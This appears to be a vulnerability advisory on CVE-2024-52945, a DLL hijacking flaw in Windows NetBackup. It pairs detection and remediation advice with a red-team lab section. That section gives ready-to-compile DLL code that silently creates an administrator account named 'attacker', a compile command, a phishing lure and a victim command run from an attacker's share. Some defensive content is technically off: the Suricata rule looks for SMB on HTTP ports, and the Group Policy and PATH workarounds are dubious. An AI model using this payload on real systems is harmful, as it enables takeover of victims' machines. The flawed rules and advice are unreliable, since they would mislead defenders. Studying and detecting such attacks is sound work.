CVE-2024-52945

Executive Summary

CVE-2024-52945 is a high-severity (CVSS 7.8) local code execution vulnerability affecting Veritas NetBackup components running on Windows operating systems. The flaw allows an attacker to load a malicious DLL into the user's security context by tricking a user into executing specific NetBackup commands, either directly or through social engineering. This is a classic DLL hijacking vulnerability (CWE-427) that requires user interaction but no authentication. The vendor has released a fix in NetBackup version 10.5. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The attack vector is local, meaning the attacker must have some form of access to the system or rely on social engineering to execute commands.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local – The attacker must have local access or trick the user into running commands locally.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must execute a specific command.
• Scope (S): Unchanged – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Code execution allows modification.
• Availability (A): High – Can disrupt services.

Threat Level: High. While no public exploit exists, the vulnerability is easy to exploit once a user is tricked, and it affects a widely deployed backup solution.

Deep Dive & Mechanics

The vulnerability resides in how NetBackup components on Windows load dynamic-link libraries (DLLs). When a user executes certain NetBackup commands, the application searches for DLLs in a specific order. If an attacker can place a malicious DLL in a directory that is searched before the legitimate system or application directory, the malicious DLL will be loaded instead. This is known as DLL hijacking or DLL side-loading.

The attack flow:

1. An attacker crafts a malicious DLL that contains payload code.
2. The attacker places this DLL in a location that the vulnerable NetBackup command will search (e.g., the current working directory, a user-writable path, or a network share).
3. The attacker uses social engineering (e.g., phishing email, fake support call) to convince a user to run a specific NetBackup command from that directory.
4. When the command executes, it loads the malicious DLL, granting the attacker code execution in the user's security context.

The vulnerability is specific to Windows because of the DLL search order behavior. Linux and other Unix-like systems are not affected.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.5): The NetBackup commands use relative paths or insecure DLL search order. For example, a command might call LoadLibrary("helper.dll") without specifying a full path, allowing Windows to search the current directory first.

// Vulnerable example (pseudocode)
void ExecuteBackup() {
    HMODULE hMod = LoadLibrary("helper.dll"); // No full path
    if (hMod) {
        // Use functions from helper.dll
    }
}

Patched Code (10.5+): The vendor has modified the DLL loading to use absolute paths or safe DLL search mode. The application now calls SetDllDirectory("") to remove the current directory from the search order, or uses LoadLibraryEx with the LOAD_LIBRARY_SEARCH_SYSTEM32 flag.

// Patched example (pseudocode)
void ExecuteBackup() {
    SetDllDirectory(L""); // Remove current directory from search
    HMODULE hMod = LoadLibraryEx(L"helper.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
    if (hMod) {
        // Use functions from helper.dll
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Windows 10/11 or Windows Server 2019/2022
• Veritas NetBackup version 10.4 or earlier (Windows only)
• Attacker machine with ability to write to a network share or local directory

Steps:

1. Create a malicious DLL (e.g., evil.dll) that executes a reverse shell or adds a user.
2. Place the DLL in a directory that the victim will use as their current working directory (e.g., a shared folder or a temp directory).
3. Craft a social engineering lure (e.g., an email saying "Run this command to fix backup issue").
4. When the victim runs the NetBackup command from that directory, the malicious DLL is loaded.

Example DLL code (C, compiled with MinGW):

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute reverse shell or payload
        WinExec("cmd.exe /c net user attacker Password123! /add && net localgroup Administrators attacker /add", 0);
    }
    return TRUE;
}

Compile:

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Victim Command (example):

cd \\attacker_share\malicious_folder
bpbackup -i

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual DLL load events, especially from non-standard paths.
2. Use Sysmon to log DLL load events (Event ID 7).
3. Look for NetBackup processes loading DLLs from user-writable directories.
4. Enable Windows Defender Attack Surface Reduction (ASR) rules to block DLL sideloading.

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName endswith ".dll"
| where InitiatingProcessFileName in ("bpbackup.exe", "bpcd.exe", "nbproxy.exe")
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, InitiatingProcessFileName, FolderPath, SHA256

Indicators of Compromise (IOCs)

• File Hashes: (No known public hashes; generate your own for testing)
• DLL Names: Any DLL loaded by NetBackup processes from non-standard paths (e.g., helper.dll, msvcr100.dll, dbghelp.dll)
• Process Names: bpbackup.exe, bpcd.exe, nbproxy.exe, nbjm.exe
• Network Connections: Reverse shell connections to attacker IPs
• Registry Changes: New user accounts or modifications to HKLM\SAM

Detection Engineering

YARA Rule

rule CVE_2024_52945_DLL_Hijack {
    meta:
        description = "Detects potential DLL hijacking targeting Veritas NetBackup on Windows"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52945"
    strings:
        $s1 = "bpbackup.exe" nocase
        $s2 = "bpcd.exe" nocase
        $s3 = "nbproxy.exe" nocase
        $s4 = "LoadLibrary" nocase
        $s5 = "SetDllDirectory" nocase
    condition:
        (uint16(0) == 0x5A4D) and
        (1 of ($s1, $s2, $s3)) and
        ($s4 or $s5)
}

Sigma Rule

title: CVE-2024-52945 - Veritas NetBackup DLL Hijacking
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DLL load events from NetBackup processes loading DLLs from non-standard paths
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52945
logsource:
    product: windows
    service: sysmon
    category: image_load
detection:
    selection:
        Image|endswith:
            - '\bpbackup.exe'
            - '\bpcd.exe'
            - '\nbproxy.exe'
        ImageLoaded|startswith:
            - 'C:\Users\'
            - 'C:\Temp\'
            - '\\'
    condition: selection
falsepositives:
    - Legitimate DLLs in user directories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-52945 - Potential NetBackup DLL Hijack via SMB";
    flow:to_server,established;
    content:"|00|"; depth:1;
    content:"|ff|SMB|00|"; distance:0; within:5;
    content:"|2e|dll|00|"; distance:0; within:10;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all Windows-based NetBackup components to version 10.5 or later.
2. If upgrade is not possible, restrict user permissions to prevent writing to directories where NetBackup commands are executed.
3. Implement application whitelisting to only allow trusted DLLs.
4. Educate users about social engineering attacks targeting backup commands.

Long-term Fix:

• Apply the vendor patch (NetBackup 10.5).
• Enable Windows Safe DLL Search Mode (registry key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).
• Use Microsoft's DLL Redirection or a manifest to specify absolute paths.

Workaround:

• Remove the current directory from the PATH environment variable for NetBackup processes.
• Use Group Policy to enforce SetDllDirectory("") for all applications.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert